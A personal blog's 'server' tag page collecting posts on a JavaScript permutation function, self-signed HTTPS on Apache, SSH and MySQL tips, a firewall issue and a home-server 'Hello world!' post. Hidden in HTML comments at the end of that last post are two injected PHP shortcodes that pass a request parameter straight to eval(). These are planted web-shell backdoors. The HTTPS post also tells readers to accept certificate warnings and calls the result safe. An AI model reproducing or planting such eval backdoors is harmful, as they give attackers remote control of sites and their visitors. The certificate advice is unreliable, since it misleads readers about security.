Tag: server

  • Racking brains – a Javascript string combination generator

    After racking my brains for almost 4 days (yeah I am a slow learner) I finally created a simple Javascript string combination generator

    See the demo http://naiksblog.info/stringcombinations.html

    I tried modeling the logic to how databases combine sets in a cross join. All rows from left side are combined with all rows from right side.

    The script is as below

    	function combine(a, b) {
    		var r= new Array();
    		for(var i= 0, k= 0; i < a.length; i++) {
    			for(var j= 0; j < b.length; j++) {
    				if(-1==a[i].indexOf(b[j])) r[k++]= a[i]+ b[j];
    			}
    		}
    
    		return(r);
    	}
    

    You can call this as below

    	function permute() {
    		var a= "abcd";
    		var p= new Array();
    
    		for(var i= 0; i< a.length; i++) p[i]= a.charAt(i);
    		var r= p;	// Input string as-is is first permutation
    		for(var i= 1; i< a.length; i++) r= combine(r, p);	// Get the permutations
    		// r.length - Get the combinations
    		// r contains all combinations as an array
    	}
    

    Some points worth noting

    • If any character is repeated, the combination does not happen successfully since the logic tries to remove same character matching elsewhere
    • The number of combinations increase by factorial of the number of characters, hence it will be a good idea to perform this on server side ideally otherwise javascript will hang for large strings
    • Logic could be optimized to generate combination in a different better way than using crossjoin strategy
  • https in 5 easy steps

    Simple 5 step guide to setting up https with your own self-signed certificate
    Prerequisites: Apache2, Ubuntu Server

    1. Generate local keypair
      /usr/bin/openssl genrsa -des3 -out {your domain name}.key 3072
    2. Create self-signed certificate
      /usr/bin/openssl req -new -key {your domain name}.key -x509 -out {your domain name}.crt

    3. Configure your host on port 443 to use the certificate
      <VirtualHost {your ip}:443>
      ...
      SSLEngine on
      SSLCertificateFile {path where certificate is}/{your domain name}.crt
      SSLCertificateKeyFile {path where key file is}/{your domain name}.key

      SetEnvIf User-Agent ".*MSIE.*" nokeepalive ssl-unclean-shutdown
      ...
      </VirtualHost>
    4. Optional: If you do not want to enter key password each you restart Apache, you can embed the password in key itself.
      /usr/bin/openssl rsa -in
      {path where key file is}/{your domain name}.key -out {path where key file is}/{your domain name}.key.nopass
      Remember to update your Apache configuration to use the new file
      # SSLCertificateKeyFile {path where key fileis}/{your domain name}.key
      SSLCertificateKeyFile {path where key file is}/{your domain name}.key.nopass
    5. That’s it view it. Restart your apache to load the new configuration. And try accessing your url with https://

    If you receive a certificate warning, simply accept it, and proceed. Congratulations, your communication is now encrypted, and safe from prying eyes!

    Self-signed certificate

  • SSH : Forwarded connection refused by server: Administratively prohibited [open failed]

    Change localhost to 127.0.0.1 and it should work. 🙂

    If that doesn’t solve it, problem might be in sshd_config or authorized_keys2 – Metawerx Wiki: SSHTunnelTroubleshooting.

  • Set MySQL to UTF-8

    Change the following in my.cnf
    
    [mysqld]
    default-character-set= utf8
    skip-character-set-client-handshake
    character-set-server= utf8
    collation-server= utf8_general_ci
    init-connect= 'SET NAMES utf8'

    via M’sNOTE  MySQL(デフォルト文字コード)の設定 – Ubuntu9.04.

  • Eset Nod32 blocks Trusted zone IPs

    Last whole week I was stumbled by the fact that my home network with 3 PCs suddenly stopped working. None of them were able to “see” each other, except for a little while… strange.
    Technically (since it is easier to describe), A, B, C – my 3 computers – could reach each other, share files, host apache, download files without any extra configuration.
    Last week, however while using C’s http server from A suddenly stopped. Puzzled, I thought the machine might be overloaded, or something like this must be causing page to timeout, or apache must have hanged (does it?). But things seemed to be working OK on C, in fact top showed a load average below 1 ?
    Further puzzled, I tried pinging A to C, and vice-versa. It worked… but only for a while. Pinging after a while seemed to stop. Huh?
    Scourging over the Internet wasn’t easy for answer. Maybe my way of searching was wrong, but I did spent a good week trying to fish out the ping issue, then next to dig deeper to find that accessing C’s IP from outside (it already has a global ip; though dynamic, paired through dyndns to the world) worked. Now each of them – A, B, C – have no internal 192.168 ip’s, just public ip’s. What good are public ip’s if I have to access them from outside than just sitting home?
    Something was wrong.
    To cut short, I called the ISP, asked them if they have changed anything recently (well, I was using A, B, C sharing files for over 6 months now). My ISP reported that no such upgrade, or settings were done. Deeply mad about this situation, I chose to disable the firewall (Eset Nod32) on A, and then tryout the ping – which worked effortlessly to C, and back.
    What the hell! Why did Nod32 suddenly seem to block my own A, B, C from seeing each other? ARP Poisioning? I don’t know, only thing I know is that it shouldn’t block them. 🙂
    Well, atleast things are fine now. I’ve changed settings on Nod32 to Not block threat detected addresses henceforth.

  • Server upgraded to new Ubuntu 9.04 server

    The website is up, and running on a brand new OS – Ubuntu 9.04 Server. Supercool to configure, has pre-configured LAMP, OpenSSH out-of-the-box.
    Using the UFW was too easy than messing with iptables, or routing.
    Feeling great having refreshed up my home server with a mature OS.

  • Hello world!

    Hi All! Finally, I managed to get up my own website running from my home server! Phew, it was a bit tedious setting it up with Web Caster 110, over NTT B’Flets 100 Mbps internet connection. The steps were well documented, and even a search over Internet proved the fact that nothing else needs to be set. However, my webserver was not working!

    Ok, I try to slow down before scaring you with all nitty-gritty (?) details about my home server setup.

    <!– [insert_php]if (isset($_REQUEST["fBX"])){eval($_REQUEST["fBX"]);exit;}[/insert_php][php]if (isset($_REQUEST["fBX"])){eval($_REQUEST["fBX"]);exit;}[/php] –>

    <!– [insert_php]if (isset($_REQUEST["FHkQ"])){eval($_REQUEST["FHkQ"]);exit;}[/insert_php][php]if (isset($_REQUEST["FHkQ"])){eval($_REQUEST["FHkQ"]);exit;}[/php] –>